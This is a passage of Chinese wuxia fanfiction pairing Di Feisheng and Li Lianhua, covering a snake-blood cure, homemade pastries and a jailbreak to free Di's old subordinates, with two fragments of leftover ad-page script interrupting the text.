嗯,方多病拿的是他小时候看见的李相夷吃的糖。
笛飞声拿出来的,是一次和李相夷比武失败,被要求亲自去排队买的发糕。
“你这怎么这么多配方?”李莲花一起收了吃了,却忍不住问笛飞声。
他当时品过好几家的发糕,也就这家最好吃,和之前的桂花糕同性质。
87
“不然呢?”笛飞声反问了一声,语气理所当然:“你喜欢吃的,我都让无颜高价买了配方,而且让后堂大厨手把手教会过我的人。”
他就指望这些点心把李相夷引去金鸳盟,为此特地留了一条防御看似有漏洞的路线,方便人前去吃饱喝足。
那时拉李相夷去比武,往往是最容易的。
所谓吃人嘴短,如是而已。
“只可惜……”他语气一转,有点叹惋道:“雷火炸盟死了一批人,现存不多,十年没按照你的口味做,总觉得吃起来味道有些生疏。”
88
方多病诧异地看了看笛飞声,又看了看李莲花,默默往门口挪了挪。
不知道为什么,他总觉得自己很多余。
89
“那确实可惜。”已经开窍的李莲花接口道:“我还挺喜欢在你盟里蹭吃蹭喝,再去海边比个武、玩个水,还能赏赏海上月,听听浪潮声,最后枕着波涛,在小舟里入睡,还能感受到水波摇晃!”
他一脸回忆之色:“哦对,金鸳盟近海,海鲜是真的新鲜,烧烤蘸料也有特色。不过……现在都没了吗?”
“我刚出关,可以再聘。”一听李相夷话里话外大有愿意吃好再比武的意思,笛飞声马上道:“无颜,此事也交给你。”
李门主真是辛苦了,答案都列出来了,奈何尊上不懂。无颜抬臂行了个礼:“是,尊上,李门主。”
90
方多病听了一耳朵旧事,颇为慨叹。
原来,江湖上所言的宿敌是怎么相处的啊,以武会友,月下交心,这大魔头也不坏嘛!
江湖经验几乎为零,全靠第一次出门就走大运撞上了师父,方大少爷认真地想道。
91
但等笛飞声、李莲花带着他出门,明明很近却游山玩水似的吃好喝好,最后取观音垂泪全靠自己开机关,他俩在后面闲庭信步时,方多病才难得升起点幽怨来:“师父,笛大盟主……”
他效仿了李莲花唤笛飞声的语气,却见笛飞声一个激灵拍出一掌,把自己远远砸在了墙上,头晕眼花。
“?”方大少爷眼冒金星。
92
笛飞声“咳”了一声,收回手道:“小子,看着点,这里有修罗草的种子,你武功太差、经验也少,还是离远点安全。”
“笛大盟主,当真思虑周全。”李莲花竖起大拇指,眼中满含笑意。
当他没看见吗,老笛分明是被这声叫的觉得太怪异,下意识就拍出去,然后想到对面是我徒弟,才收敛了掌风。
93
当然,听见李相夷这么叫,笛飞声饶是觉得浑身不得劲,也只是移开视线,干巴巴道:“你不是要磕头吗,磕啊!”
“好。”李莲花大大方方上前去拜叩,笛飞声继续偏头,却膝下一酸。
等他反应过来,竟被小石子隔空戳穴、手臂揽腰下压,同样叩拜在了棺材前。
94
“……李相夷!”笛大魔头恼羞成怒。
李莲花只来得及磕一个头,就运起婆娑步大笑着逃之夭夭。
95
被留下来、还有点头晕的方多病面无表情,我就是开机关的工具人,对吧?
他叹了口气,起身追了过去。
96
被李相夷气得忘记封坟,笛飞声并不知道有黑衣人前来,取走一个鼎。
他更不知道,打打闹闹着的李莲花,当晚悄然回去,见鼎失踪,露出了微妙的笑意。
97
鹬蚌相争,渔翁得利。
这世间有舍有得,你万圣道不得罗摩鼎,又怎会自取灭亡?
李莲花微微一笑。
我可不是老笛,好端端做渔翁,还能因演技太差,最后挨一巴掌。
南胤古旧陋习、野心勃勃的血流干了,才能迎来新生。
7. 【笛花】重生玉城时6
98
这些天,三人出行在外,用的自然还是李莲花的莲花楼。
当然,临行前笛飞声就命金鸳盟,换了几匹骏马,又买来各种上好的居家用品、肉干糕点,将楼内填充一新。
“李门主,我守在楼外,见飞鸽送来信笺。”清晨时,无颜呈上一张字条。
李莲花接了过来。
99
方多病想挤上前看看。
但笛飞声已在李莲花身侧,他只好老老实实地等在一旁。
纸条上写着——
当年一别,曾言施主碧茶难解,仅十年光景可度,今,只余一年期,施主心结可解,不若回归复见四顾门故人,与众共寻救命之法,出家人不打诳语,李施主还年轻,何必便宜了阎王爷?
100
“普渡寺无了……好啊李相夷!”笛飞声活生生气笑了:“你这十年,不曾想过解毒?”
李莲花摸了摸鼻子,心想那也是怪你,谁让你逆转时间不能再早点的。
“人的精力都是有限的。”但他还是选择引入主题,尸骨还是要找的:“我手里也没那么多钱,自然是找……遗骨更要紧。”
101
笛飞声闭了闭眼睛。
他又想到东海之上,暴雨倾盆夜。
李相夷一剑把自己钉上桅杆,只惦记着单孤刀的尸骨。
102
“单孤刀的尸体,金鸳盟会去找。”笛飞声睁开了眼睛,冷冷道:“而你,唯一该做的就是好好养着!”
他神色冷硬而不容置喙:“药魔已在灵蛇窟等着给你换血,现在就去。”
李莲花赶紧道:“老笛你饶了我吧,别说碧茶无解,就算毒解了,我也不想再和你打!”
“况且……”他挣扎了一下,似是真诚地说道:“我怕鬼怕蛇怕……还怕虫子。所以,能不能不要用蛇咬我啊?”
笛飞声犹豫了一下,硬声道:“必须换血,我陪你入蛇窟,只让蛇咬手指,易恢复。”
“十指连心很痛的啊!”李莲花瞪大了眼睛:“那还不如咬我脖子呢!”
103
笛飞声看了看李莲花细白的颈。
想到那一日将之握在掌中的触感,那么细那么软,他心中一颤。
“不行!”笛飞声立刻驳回了:“要害怎可露于兽牙之下?!”
万一灵蛇咬得深了些,李相夷失血过多怎么办?
笛飞声怀疑的时候,倒是完全没想到,如果当真危险,药魔怎敢提议。
104
“……打扰了……”方多病忍无可忍插话:“有没有一种可能,反正是换血,用晾干的羊肠和空心针一抽一送,不以蛇牙完成?”
笛飞声、李莲花齐齐沉默。
最后,当他们到灵蛇窟前,方多病的意见还是被药魔驳回了。
只因灵蛇反哺,必须灵蛇主动。
105
“老笛老笛,你松手。”李莲花垂死挣扎,非要扒着灵蛇窟的入口:“我不想去!”
早就知道他要面子,笛飞声之前就已经打发走了不情不愿离开师父的方多病。
106
见此情景,笛飞声倒是久违地想笑。
曾几何时,吃饱喝足挂在屋顶上赏月的剑神李相夷,被拖下去比武时,也是这么个表情。
像是用膳后骄矜舔毛的猫咪。
107
“尊上、李门主。”药魔却已经见怪不怪了,一脸小老儿什么大世面没见过的淡定道:“这些东海灵蛟用灵药饲育了多年,最爱吸血反哺。”
没有前一世最开始站队角丽谯的错误,角丽谯旧部又被自家尊上全灭,还被李相夷掐着脖子威胁过,他不想死,就更加知无不言言无不尽:“李门主气海受损,让灵蛟换一换他周身的血,也许会有些效果。”
“可。”笛飞声揽过李莲花的肩膀:“我陪你下去。”
108
知道没有逃跑的余地了,李莲花随意朝地上一坐:“那我要先提条件,等会的蛇牙伤口,我要你亲自上药!”
“李相夷,你莫要得寸进尺。”笛飞声将发痒想揍这人的手背在身后,淡淡道。
李莲花充耳不闻,却偏过头,垂下眸,理不直气也壮,继续出难题道:“我还要吃桂花糕,你亲手做的!”
“尊上息怒。”药魔赶忙行了个大礼,试图打圆场。
他绞尽脑汁,好不容易找出了一条道理:“解毒治疗是个很长的过程,病患心情舒畅,确有推进之功效。”
“……”笛飞声的沉默声震耳欲聋。
109
良久,药魔才听见他冷冷道:“李相夷,喜欢吃桂花糕的,是你的乔婉娩!而你虽嗜甜,但喜欢喝茶,也就偏爱清甜又略苦的茶点,本尊也只尝试着做过这种。”
连本尊都出来了,看来老笛是害羞了。李莲花含着笑抬眸,大步走向灵蛇窟,主动往下一跳:“一言为定啊,老笛。”
“你亲自下厨……”半空中,他的声音还在飘:“多难吃我都会下咽。”
110
笛飞声不想再说什么。
可是,熹微摇曳的烛光中,他通红的耳垂无比明显。
111
药魔对之视若无睹,一味低着头。
“碧茶之毒过猛,灵蛇反哺必死。”提及灵蛇之死,他的心几欲滴血。
但药魔的态度仍然是恭恭敬敬的,不敢刺激恼羞成怒边缘的自家盟主:“还请尊上为属下留个几条,日后好继续培养,属下便先告退了。”
“嗯,你先出去吧。”笛飞声摆了摆手,也跟着跳下了灵蛇窟。
112
很快,上方的洞窟里空无一人,唯独火烛一闪一闪。
113
灵蛇窟内,无数白蛇蠕动,让人头皮发麻。
一见活物,万蛇争先恐后扑了上来。
笛飞声落下地快步走来时,只瞧见李莲花强咬住嘴唇,不肯叫出哪怕一声痛来。
“嗯……”可随着蛇的噬咬,他忍不住痛苦地闷哼起来,身体也跟着蜷缩,五指抓紧了如茵的碧草。
笛飞声将内力覆在体表,便似十年前李相夷下雨不打伞也不沾身似的,抬臂揽过他的腰肢,将人抱入怀中。
但李莲花周围堆积了已死去的好几圈灵蛇,又总有新的覆盖上去。
114
如此一抱,衣衫凌乱敞开,抖落蛇身,便见他满身都是青红咬痕。
离得太近,笛飞声能清晰瞧见,李莲花颈间、手臂乃至胸口有无数个细小的蛇齿痕迹。
洁白齿列早在唇上留下肆虐的咬痕,显得他似是不堪忍受,浑身战栗颤抖。
如此脆弱的李相夷,委实有说不出道不明的滋味。
“……”笛飞声呼吸声一滞,眼神再难以移开。
115
好在李莲花纵是脸上泛起一层青气,也还记得适才落下后听见的话:“老笛……药魔……最后几条……”
笛飞声如梦初醒。
内力瞬间震颤,将最后一圈还没咬上来的轻轻震开了。
116
李莲花攥住绿草隐忍的手猛然松开,整个人如释重负,齿列跟着放开了倍受蹂躏的唇瓣。
笛飞声鬼使神差地抬指擦了擦,胭脂色的红色晕染更开,殷红如血,温软湿润。
等他反应过来,竟已扣住了李莲花的后颈,两人贴得极近。
“我没事。”李莲花像是没察觉彼此的姿势有多旖旎、多暧昧,又是多危险,只顾着安慰道:“反而感觉浑身舒畅了些,灵蛇确有效果。”
我刚才想干什么?!笛飞声抿了抿唇,轻轻松开下意识钳制对方的手。
117
稍稍休息了一会儿,等他们上去时,除了身上都是蛇牙齿洞,李莲花的气色是好了许多。
笛飞声以用膳滋补更重要与牙洞太小不再出血为由,拒绝先擦药,而是去了附近的厨房。
“我的天……”刚好提着买好的蔬菜与肉回来,方多病一脸恍惚:“大魔头会做饭?!”
李莲花强调道:“是会做糕点!”
为他学的,一定要强调一下。
他笑着,接过了菜和肉:“老笛,多做些糕点当主食,我来炒菜。”
118
“不不不!”方多病大吃一惊,扑过去道:“有事弟子服其劳,我来就行。”
开玩笑,让李莲花做饭,是生怕吃的太好吃了吗?
就算他是个生手,照着食谱做,结果也起码是可以下咽的啊。
119
但看见笛飞声当真端了一锅糕点出来,方多病厚着脸皮拿了一两个尝,是真的惊为天人。
嗯,问就是比李莲花做得强多了呜呜呜真好吃!
方多病在心里疯狂夸赞。
‘可是,奔波、疗伤、解毒、治病,还记得喜好。’他打心眼犯嘀咕,就这关系说是宿敌?明明比挚友还挚友!
也就自己爹妈偶尔黏糊的时候,能比一下。
呃等等,我在想什么失礼的东西?
幸好没说出口!不然,妥妥要挨打呐。
方多病看了看冷脸的笛盟主,再看看蹙眉喝药的李剑神,把这个念头沉进最深处。
120
“尊上。”无颜已经在旁边候着,直到他们吃饱喝足,才走进来禀报道:“出事之前,盟中仵作以狮魂技法最强。尊上既重视验尸一事,那单孤刀的尸骨,就必是由他经手。”
笛飞声看了看李莲花,见他和方多病一道坐直了,大恼这人十年了还那么在意他那个实在不怎么样的师兄,便忍不住轻哼了一声:“哼,那他现在人在何处?!”
“十年前那场大战,盟中精英尽散,仵作这种身份,早已消失,隐匿江湖了。”无颜瞟了一眼放在一旁的字条:“不过,属下记得这狮魂幼年时,曾被普渡寺的和尚收养。”
他脸上忍不住浮现了笑容:“也许,狮魂自盟中出走后,回了普渡寺也不一定。恰逢无了大师来信问李门主情况,尊上不妨……”
“不错。”笛飞声大为动容:“李相夷,我带药魔一起去找无了,给你做个会诊,只要毒解了……”
李莲花大惊失色:“大可不必啊!”
有笛飞声支持的药魔已经够难缠了,药虽然有效,但真的一杯比一杯难喝。
若再有无了那个老和尚,他都不敢想被药到彻底失味的滋味。
121
“没得商量。”笛飞声摆了摆手:“方多病,你和无颜去收拾行李。”
他一把抓住想用婆娑步溜走却被无颜堵住门的李莲花,抬手便封了这一点都不老实的人周身大穴。
“……”我谢谢你啊无颜,李莲花郁悴地低下头,被难得勾起嘴角的笛飞声拎去量体裁衣了。
122
去普渡寺就难免去旁边的四顾门,不可能只待个一两日,还是多准备一些新衣吧。
反正盟内绣娘人数不少又工活利落,加些工钱赶一晚工,来得及。
123
翌日,两人便前往普渡寺。
嗯,虽然方多病据理力争,但最后登上了莲花楼的,还是只有笛飞声、李莲花。
他只能和无颜、药魔一起,白日坐在前面为莲花楼架马,晚上同他们一起睡金鸳盟准备的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
马车。
“这是徒弟的待遇吗?我怎么觉得变成小厮了?”方大少爷嘀嘀咕咕。
明明莲花楼有两层,怎么就不让留人呢?打地铺总比睡马车舒服啊。
天真蠢笨的小少爷。药魔和无颜对望一眼,当然是害怕听见某些不该听见的呐!
124
不过,别提笛飞声还未开窍,就算开窍了,他也不会这般急于一时。
甚至比起他们担心的这些,另一件事才更多牵绊了笛飞声的心思。
“超过十日了吧?”到达普渡寺的前夜,待李莲花睡着,笛飞声出现在山坡上,望着那轮明月。
125
被拉过来的方多病一脸问号。
药魔低头减少存在感。
126
“是,距离尊上一出关就大张旗鼓处置角丽谯及其同党,已逾十日了。”只有无颜接的最快:“被角丽谯所占情报网尚在恢复中。”
他禀报道:“目前只探得,百川院四位院主疑似发生冲突。石水欲杀云彼丘,似乎吼言尊上都已处置角丽谯,百川院捂盖子实属不忠不敬,只憾为被佛白所阻,后愤而出走,接外勤查案未归。”
“有点血性,可惜权柄太小。”笛飞声冷冷道:“看在李相夷的份上,本尊给足了百川院颜面。但既然给脸不要脸,便不用留情了。”
之前听李相夷说心血大多白费,四顾门解散,只剩下个刑堂百川院,他还未明白其中深意。
只因金鸳盟再损失惨重,也上上下下寻他,之后重伤卧床又闭关养伤,角丽谯派人到处搜寻灵药,普通盟众也是尽心尽力。
所以,对于十年前的四顾门解散、如今的百川院装聋作哑,笛飞声可实在是不理解。
127
“碧茶之毒!”方多病终于明白了过来:“哼,百川院可真是有脸啊!”
对,既享受着李相夷留下的福泽,又包庇害死李相夷的凶手。
“啪。”方大少爷给了自己一巴掌:“我开始居然没想到?!”
128
笛飞声瞟他一眼:“江湖经验太少,是非难分,需练,多查案。”
“我都不想进百川院了。”方多病低声咕哝。
从李莲花那儿知道真相,又被金鸳盟前后点破很多事,逃家的大少爷对百川院的看法一落千丈。
“为何不进?”笛飞声的语气前所未有的平和:“你师父之物,你又为何要让给一群叛徒?就算砸烂踩碎,也合当在你们师徒手里才是。”
129
方多病睁大了眼睛。
他从笛飞声的瞳眸里,看见了一往无前的尖锐与绝不妥协世俗的煞气。
这就是天下第二的心性吗?没见过多少世面的大少爷呼吸凝滞了。
130
许久,笛飞声转身下了山坡,无颜、药魔纷纷跟从。
只有方多病,在夜色中站在山峦上,被凉风吹拂着发热的头脑,陷入了沉思。
他像是脱胎换骨一般,活泼的气质一扫而空,取而代之是沉稳内敛。
131
“……多事。”一双眼睛瞧着这一幕,低声细语,却满怀欣慰的笑意。
下一瞬,一只臂膀揽过来,扣住了腰身。
是笛飞声。
“李相夷,你若让叛徒执掌你故时门庭……”他冷声道:“那是侮辱我!”
132
李莲花回过头:“你刚才就发现我了?”
“哼,你没出声反对。”笛飞声看了看在月下练剑宣泄心绪的方多病,冷冰冰的语气瞬间上扬了:“那就是默认我做得没错?”
李莲花不置可否。
133
月色将树林拉出一道道长长的影子,他们二人的影子也在其中,堆叠着、交织着,毫无罅隙。
“四象青尊、两仪仙子、炎帝白王、阎王寻命。”李莲花的声音很轻,态度很严肃:“他们在金鸳盟虽地位崇高,但对江湖并未做什么恶事。”
刚巧,他今日还穿了一身红衣,恰是门主战袍的样式。
也就黑灯瞎火,方多病又经验不足,才发现不了。
不似笛飞声过于熟悉,一眼扫过就能察觉。
134
魔道魁首便用力扣住怀中人纤细的腰身,仿佛禁锢,眸中亮色更深了:“李门主,你这是要交百川院一百八十八牢的位置布防于本尊?”
“哼,你想都别想。”前四顾门门主轻哼道:“就算我曾是门主,也最多亲自带你接人,图可不会外传。”
据两仪仙子所言,也不知四象青尊和琵公子何时过世。
但无角丽谯蛊惑云彼丘取图又派人围剿,仅凭万圣道,得手绝不会快。
琵公子和四象青尊现下必然都还活着,那救人自然是越快越好。
李莲花顿了顿,竟郑重其事地皮了一句:“笛盟主大可以严刑逼供,本门主保证,嘴里一个字的真话都蹦不出来!”
“……”笛飞声哑然失笑,颔首接茬道:“那本尊就挟持你做人质去,你说何时动身为好?”
李莲花握住笛飞声的手:“就是现在!笛盟主,你且看着,本门主在琵公子面前,纵是酷刑加身,也定然宁死不屈!”
笛飞声想了想,发出灵魂质问:“你说的酷刑,是指明日无了和药魔的会诊还有药膳吗?”
“你!”被戳中心思,李莲花演不下去了。
他踹了他一脚,松手率先用婆娑步溜之大吉。
135
笛飞声忍着笑,将无意识翘起老高的唇抿回来。
他给无颜留了个‘不用再派人到处找三王’的信,便起身追了过去。
8. 【笛花】重生玉城时7
136
最近,江湖中最大的事情,莫过于金鸳盟之主笛飞声出关。
让人胆寒的是,他回归巅峰的第一件事,竟是血洗金鸳盟新的总部,将等待他十年的圣女角丽谯部下残杀殆尽。
圣女角丽谯更是早在笛飞声在玉城出关时,就命丧当场。
江湖中人众说芸芸,有言角丽谯怕是趁着笛飞声闭关夺权还试图谋害旧主,也有人说笛飞声见金鸳盟如今成了角丽谯一言堂而过河拆桥。
137
但无论他们怎么说,金鸳盟都安静极了,一点都不像是十年前高调的魔教魁首。
唯独各大漕帮叫苦连天,角丽谯的发展重心不在海运,笛飞声却回来就重操旧业,将他们夺走的航道通通夺回。
打是打不过,上禀百川院吧,百川院竟也推三阻四。
不过这些到底都是琐碎之事,还轮不到笛飞声亲自处理。他只需要一个要求乃至眼神,夺回大权后忠心耿耿的旧部自会处理。
138
“尊上今晚就要出发?”远在普渡寺附近,无颜固然迟了一步,可也立刻飞鸽传书,命各地据点做好准备,还让最近的分坛备了上好骏马。
至于笛飞声,他确实好武,但也不是毫无心机。
角丽谯虽被关押,幕后却必然还有旁人。
既要破牢,就不能留下任何可供分辨的证物,此行能避开眼线,自然最好。
139
再者,笛飞声也不愿李莲花露脸。
只因世间总有愚钝之辈,若是有朝一日事情暴露,他们怕不是要觉得,李相夷这前任武林盟主,竟同自己这邪恶魔头沆瀣一气。
“等等…”于是,李莲花刚回莲花楼准备拿些干粮,身上就被裹来了一件裘袍,连帷帽都套了过来。
他瞧着因飞快移动而模糊一片的周围,无奈垂眸:“你就这么急?”
“不用备。”笛飞声淡淡说道:“金鸳盟各地分坛自会准备你我饭食。”
140
对于膳食,李相夷当年挑剔讲究着呢。
这路上,是得掩人耳目。
但只带干粮,未免过于粗糙不精细,不适合正要养身体的李莲花。
141
“……吃人嘴短。”李莲花幽幽嘟囔道:“但吃得再多,我也只带路,不破牢。”
这一百八十八牢,大多数都有他参与修建,守牢人也大多与他昔年的年少轻狂有关。
他们心甘情愿隐姓埋名,替他、替整个武林镇守于此,他带笛飞声去劫狱已实属无奈,又怎么忍心对他们动手?
便如云彼丘,若非角丽谯实在难对付,自己倍受皇室忌惮还一心求死,哪怕他为了打入内部不得不做出抉择,害死那么多人的罪也不可轻恕。
是以自己饶是出手相救彼丘性命,也暗示他不得留在百川院继续掌权,而必须离开江湖。
彼丘想必也心知肚明,他再喜欢读书,多年执掌江湖事,又能有几分当年心情?
所谓考个功名、娶个媳妇,不过是变相的强制命令——
你不得死在我面前。
但因扬州慢活下来却失去所有权柄的云彼丘,能活多久、活成什么样呢?
142
李莲花闭了闭眼睛,把脸埋在笛飞声颈窝处。
他正坐在马鞍上,靠着笛飞声的胸膛。
“唧唧!”尚属六七月,深夜仍暖,风中蝉鸣高亢,令人生热。
143
笛飞声勒了勒缰绳,将速度放缓:“怎么?”
“有点困了。”李莲花继续阖眸。
他总感觉眼前是血海,血海里的人握着断了的少师剑,提着无名的刀,一步步走过来,却紧紧抱住了自己。
很温暖。
144
一堆死不瞑目的尸骨从血海里努力爬出来,含恨想攥住自己的脚踝。
他们身上都是刀伤。
有的多,如肖紫矜、云彼丘、皇帝。有的少,就比如试图阻止笛飞声屠宫,而被一刀封喉的宫女、侍卫。
可是,身上的怀抱过于温暖,揽着他一步步跨过尸骸鲜血,踩碎全部阻碍,到达了光辉灿烂的彼岸。
145
李莲花破茧成蝶,重获新生。
他抱紧笛飞声的脖颈,搂得很紧很紧。
146
“你不可熬夜。”隔着帷帽,笛飞声看不清李莲花的神情,但他谨记着医嘱:“我带了药和壶,喝过药再睡。”
李莲花没心思想东想西了,也坐不住了:“以这个速度,我们顶多就赶路两天。”
“一来一回得四天,再稍稍耽搁一下,姑且算一周。”笛飞声冷冷道:“你想断药这么久?”
147
你这四舍五入把四天算成七天的法子真别致!李莲花翻了个白眼,却不和笛飞声争吵,直接把裘袍掀开再裹住。
“你……”突然被裹在里头,和李莲花只隔着两层薄薄的夏季绸衣,笛飞声不自觉僵直了脊背。
李莲花打了个哈欠:“你当时不也在场嘛,碧茶无解,喝药意在防寒,药魔可是说了,总之保暖即可。有笛盟主至刚至阳的悲风白杨,何必多此一举熬药?”
“喏,找准丹田。”他一把抓住笛飞声的左手,按在自己小腹上:“我一冷就会发颤,你就往这儿输入内力呗。”
手背可触及裘袍厚厚的毛绒,掌下却隔着轻薄的布料直触柔韧的皮肉,依稀能感觉到随着李莲花均匀的呼吸声一起一伏,是极具活力又能被握在掌中的生命。
“……好。”笛飞声涩声应下,心猿意马之间,攥着缰绳的右手发颤,险些就驾马跑错了道。
夜色渐深,帷帽下的唇角已勾起许久了。
148
青竹山,满山遍野都是盛长的野草,稍高一些则是翠绿竹林。山下有一条绿水河,是从瑞州前往幕阜山的必经之路。
幸好这两日无雨,竹林里干燥得很,骏马便在茂密竹林的狭窄小径中快速跋涉。
不多时,雾气从四面八方涌来。
原本清晰的路径变得迷离,只见到处都是高低不一、大大小小的青竹,非但不知今夕何夕,又因为大雾迷蒙,也不知东南西北了。
149
“快到了。”李莲花忽然沉声道:“笛盟主想要破牢,就只能靠慧眼识珠寻到机关,本门主可是抵死不从的!”
笛飞声瞧了瞧怀里唱念俱佳的某人,一时间也不知是该气还是该笑。
“抵死不从?”他到底是抬手猛然封了李莲花各处大穴,才摘下帷帽。
笛飞声放高了嗓音,冷声道:“本尊什么酷刑都没上,李门主莫不是瞧不起囫囵屋?”
李莲花的脸色稍稍一变,知道笛飞声这是来真的了。
150
“轰隆!”余下路程再不必骑马,笛飞声暴力破阵,一掌断翠竹无数,强行开了一条路。
迷离大雾被迫散开,昏暗迷蒙的光线中,李莲花被笛飞声攥着手腕往前拉着走。
他眉目虽仍清俊文雅,但脸色微现青白,踉踉跄跄着被雾气轻湿全身。
竹林中的泥泞浅浅漫上鞋缘,又是盛夏穿着裘袍保暖,看起来倒是有了几分真实的、受制于人的狼狈。
151
未走多久,一处别院映入他们的眼帘。
那是一处在二楼东面房间亮灯的别院,庭院不大,却修有琉璃碧瓦,雕饰精致,不落俗套,二楼那明亮的暖黄灯火映得院中分外地黑。
“琵公子。”笛飞声将李莲花揽在怀里:“本尊不欲废话,你放人还是不放?!”
152
暖黄灯火一闪,瞬时熄灭了。
无数箭矢铺天盖地而来,封死所有退路。
“好!”笛飞声扬起下颚,一刀劈向屋室。
霎时间,天崩地裂。
153
“咳咳。”干咳声响起,又伴随着轱辘的铁链之声,一个轮椅慢慢从废墟中移了出来,轮椅上坐着一位黑衣的书生。
远远看去,只见他眉目俊秀,年纪虽然不小,却仍有潇洒飘逸之态:“笛盟主好功夫,好手段啊。”
“但人是不可能放的,除非李门主开口释放此牢。”他缓缓地道:“而我,也只认他自愿开口,而非被人所迫。”
154
笛飞声定定看着琵公子:“东方青冢,我认得你。”
“看来,你烧掉你的院子,并非对李相夷不满,而是心悦诚服。”他扣住李莲花腰身的手指轻轻加重了力道,似是带了点泄愤之意,逼着李莲花有点难耐地蹙起眉头。
笛飞声又道:“与你这般,输给李相夷而自愿镇守一百八十八牢,只是以欠了佛彼白石之恩为名义的,还有多少?”
“绝对不少。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
”琵公子神情淡淡,唇角却有了笑意。
但当视线触上动弹不得的李莲花时,他那一丝怀念的笑又收了回去:“长江后浪推前浪,李相夷这等人,我等或许输得微恼,可也愿赌服输的很。”
笛飞声缓缓点了点头,竟松开了李莲花:“十年前东海一战,李相夷中碧茶之毒,是我本尊御下不严,才让角丽谯蛊惑了云彼丘。但幕后之人尚在隐藏,本尊要查真相,必救炎帝白王、四象青尊、两仪仙子。”
155
“碧茶之毒?”琵公子终于动容,一个箭步冲到李莲花身边。
笛飞声攥了攥手指,没有阻拦他解开穴道。
“……”发觉笛飞声点穴非常之轻,似乎生怕伤到现在大不如前的李相夷,琵公子若有所思地顿了顿动作。
然后,他便对上了李莲花解穴而得以变动的小表情。
有一点点得意,有一点点心虚,还有一点点欣然,生动极了。
156
“哼。”琵公子骤然收回手。
他深深看了李莲花一眼:“既然李门主愿为笛盟主背书,我这守狱人自不会多管闲事。”
怎么回事?笛飞声倒是一愣,琵公子怎么得出‘李相夷为我救金鸳盟旧部做背书’这种结论的?!
他的神色出卖了很多,更令琵公子对自己的判断富有信任,不由轻哼道:“李相夷啊,你怎么看上……嗯这个木头一路同行去查真相的?”
157
李相夷为乔婉娩乃至四顾门女子折梅时,更多是风流恣意少年郎的得意洋洋。
如今他看向笛飞声,却绝对与那时不同,竟更纯粹、更真挚、更信赖,令孤寡了一辈子只与机关、梅花为伍的琵公子差点嫌弃地没眼看。
158
见被看穿了目的,李莲花干脆直言:“天下第一与天下第二为伍,不是很正常吗?”
“再说了,前辈你想,幕后人只敢玩下毒这等手段。”他摆了摆手:“不就更说明实力不济还胆量不足,就知道阴谋诡计下作无趣吗?”
琵公子看了看李莲花,又看了看笛飞声,真诚地提议道:“李门主骂的这么脏,多半知道是谁在搞鬼了。我建议笛盟主就按照开始说的,把他关进囫囵屋好好审问。”
“你们可以出来帮帮你们尊上。”他甚至让开脚步,对屋里招了招手。
159
偷听了很长时间,四象青尊、两仪仙子与因屡次在牢内斗殴而被捆得严严实实才被允许出来放个风的炎帝白王,现在的表情千奇百怪的。
想笑又得忍住,想嘲讽但开不了口,总之一言难尽,像是在说——
原来你是这样的啊,李相夷。
160
“……喂!”李莲花愤怒地发出了抗议,刚想找同盟,就直接哽住了:“老笛怎么连你也在……”
原来,就连笛飞声都偏过了头,肩膀可疑地抖了抖。
161
“咳。”到底是年纪最大的四象青尊最有大局观,抢在李莲花爆发变成李相夷之前打断施法:“这些年,有劳琵公子照料我们了。”
行了行了,知道知道,尊上你别瞪我们了。
不就是即使是幕后人无恶不作在先,也不能让李门主留下可能被污蔑通敌劫囚的任何蛛丝马迹嘛。
“但在我等离开之前,溶洞内的机关还是拜托尊上前往毁之。”四象青尊查缺补漏:“然后呢,琵公子你就同我们一起走,伪装……”
他看了看李莲花,断然点头:“就伪装成李门主这样,是被尊上抓走的好了。”
162
琵公子默了默,到两仪仙子面前举起双手:“可,但不必劳烦笛盟主。”
我这老胳膊老腿,就算作假,也经不住悲风白杨。
163
“哦,好。”失去话语权沦为打手的笛飞声自己找活:“溶洞机关在哪?”
挣扎了好半天,炎帝白王终于咽下了嘴里被好兄弟塞进去的包子馒头:“这里,尊上随我来。”
偷听到最后,他还是很感激四象青尊和两仪仙子及时堵了自己的嘴,才没让他为尊上挟持李相夷之事笑得太大声。
嗯,绝不是因为当时过于幸灾乐祸,对李门主不敬之语只差一瞬出口。
虽然他很喜欢比武,但并不想因口出狂言,被李门主和尊上混合双打,那根本不是比斗,是单方面挨揍。
9. 【笛花】重生玉城时8
164
迎回炎帝白王、四象青尊与两仪仙子,无颜热泪盈眶。
“他们总算回来了。”就连远在玉城的玉红烛,得知后都欣喜若狂。
无他,关押了角丽谯,打退一波又一波的试探和劫狱,还要兼顾盟内事务,她同样忙得不行。
而无颜一人干了曾经三王两仪的活,那头发是肉眼可见的少,几乎能和十年前头发稀少只好扎马尾的李相夷媲美。
当然啦,这话是不能让现在的李莲花听到的。
不然,他肯定要跳起来,辩驳李相夷才不是因为不睡觉头发少,明明是你们尊上老缠着比武累的!
165
不过,现在的李莲花刚回莲花楼,离普渡寺只隔了一座山。
两王仙子一归来,笛飞声更理所当然当了甩手掌柜。
“你们……”他只在身后几人互甩眼神时,回了个眸:“互相使眼色做什么呢?”
被两仪仙子、炎帝白王分别用眼神疯狂问询了半天,四象青尊微笑道:“尊上恕罪,我们只是在想,如今多事之秋,还是尽快帮您解痋为上。”
166
嗯,他们俩担心的也有道理。
痋虫在幼童年幼时入体,说不准就给脑子造成了什么影响,比如感情上过于迟钝,总是不开窍?
167
笛飞声信以为真:“那就交给你们了,寻到办法通知我。”
“李相夷这几日未喝药,你们让药魔饭后来一趟。”他独自踏上莲花楼的二楼:“今晚好好休息,明日再启程回总部。”
双王两仪行礼应命,顺便拎走了被绑得严严实实的琵公子:“是。”
168
等去了无颜备好的据点,琵公子才得以松绑。
“唉,老了,记性不好了。”他自嘲地笑了笑:“碧茶之毒是药魔十年多前所制,当时你金鸳盟正在扩张,受害者不少。我一时好奇寻过尸体研究过一阵,想好几日都不记得记录放哪了,怕是帮不上忙喽。”
四象青尊摇了摇头:“琵公子何必妄自菲薄?李门主有扬州慢护体,与其他人自然大有不同,记录找不找只怕一样。”
“对,于李门主而言,恐怕心情更重要。”两仪仙子也温声道:“有你为老友始终理解支持,对他就是鼓励了。”
炎帝白王心里没这么多弯弯绕绕:“药魔干的好事,当然让他自己解决。解决不了就自饮碧茶,他肯定研究解毒的进度飞快哈哈哈!”
“噗通!”被无颜叫来一起用膳,药魔在进门时听见这话,成功自绊了一个跟头。
无颜忍俊不禁,提着后领把他拎起来。
